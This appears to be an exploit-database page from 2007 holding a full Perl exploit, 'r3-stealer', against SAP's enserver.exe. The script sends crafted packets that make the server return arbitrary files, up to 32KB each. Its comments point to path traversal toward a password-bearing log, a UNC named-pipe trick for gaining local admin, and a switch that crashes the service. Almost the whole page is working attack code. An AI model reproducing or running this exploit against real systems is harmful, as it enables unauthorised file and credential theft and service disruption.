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r3-stealer-1.0.pl.txt

🗓️ 13 Feb 2007 00:00:00Reported by NicobType 
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SAP 'enserver.exe' file downloader, limited to 32KB, potential file access vulnerabilitie

Code
`#!/usr/bin/perl -w  
  
##  
## SAP 'enserver.exe' file downloader  
## Tested on "SAP Web Application Server Java 6.40" (eval DVD)  
## Found & coded by Nicob  
##  
## The downloaded file is limited to the first 32 kilobytes  
## Usual port : TCP/3200+SYSNR  
## Exemple : ./r3-stealer-1.0.pl 192.168.2.22 3201 "c:\\boot.ini"  
##  
## From MSDN (Win2K pre-SP4, WinXP pre-SP2 and WinNT) :  
## "\\\\your_box\\pipe\\your_pipe" => get Local Admin (SAPServiceJ2E)  
## http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/authorization_constants.asp  
##  
## File parameter :  
## C:\boot.ini  
## \\10.11.12.13\share\image.jpg  
## ..\..\..\..\..\..\Documents and Settings\All Users\Application Data\sapdb\wa\httpreq.log (contains passwords !)  
##  
  
# Init  
  
use strict;  
use IO::Socket;  
  
my $verbose = 0;  
# Set this to anything not null to crash the process  
my $crash = "";  
  
my $socket;  
my $reply;  
  
$|=1;  
  
# Get arguments  
  
if (($#ARGV<2) or ($ARGV[0] eq "-h")) {die "Usage: $0 <ip> <port> <remote filename> (<local filename>)\n";}  
my $host=$ARGV[0];   
my $port=$ARGV[1];   
my $filename=$ARGV[2];   
my $output=$ARGV[3];   
  
# Calculate variables  
  
my $lg = length($filename);  
my $tag1 = sprintf('%x', 0x4F + $lg);  
my $tag2 = sprintf('%x', 0x20 + $lg);  
  
# Show banner  
  
print "#####################################################################\n";  
print "### SAP 'enserver.exe' file downloader\n";  
print "### Downloading '$filename' from '$host'\n";  
print "#####################################################################\n\n";  
  
# Define the packets  
  
my $packet1 =  
"0000005dabcde123000000000000005d0000005d06010000000000060000000000040000000000010004000000000003". # Static  
"5f6e69636f625f6e69636f625f6e69636f62315f". # ASCII string : "_nicob_nicob_nicob1_"   
"00000000020000003b0000000500000002000000060000000400000001"; # Static  
  
my $packet2 =  
"000000". $tag1. "abcde12300000001000000". $tag1 ."000000". $tag1 .  
"03000000454e430001010000234541410100000013030000000000234541450001000000". $tag2 .  
"0000000000007d00000000000000000000000000". unpack("H*",$filename) . $crash ."000023454144"; # Crash if bad filename length  
  
# Create the socket  
  
$socket = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort => $port)  
|| die "Connection refused at [$host:$port]";  
  
# Send the two packet  
  
print $socket pack("H*",$packet1);  
print $socket pack("H*",$packet2);  
  
sleep 2;  
  
# Read and display response  
  
recv($socket,$reply,150000,MSG_PEEK);  
if ($reply =~ /^(.*)#EAD(.*)$/s) {  
print "File received !\n";  
if ((!defined($output)) or ($output eq "")) {  
print "\n===========================================\n";  
print $2;  
print "\n===========================================\n";  
} else {  
open(OUT, "> $output") || die "Can't open $output ($0)";  
print "File saved as '$output'\n";  
print OUT $2;  
close(OUT);  
}  
} else {  
print "Problem interpreting reply :-(\n";  
}  
  
# Close the socket  
  
print "\nThe end ...\n";  
close $socket;  
  
  
`

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13 Feb 2007 00:00Current
7.4High risk
Vulners AI Score7.4
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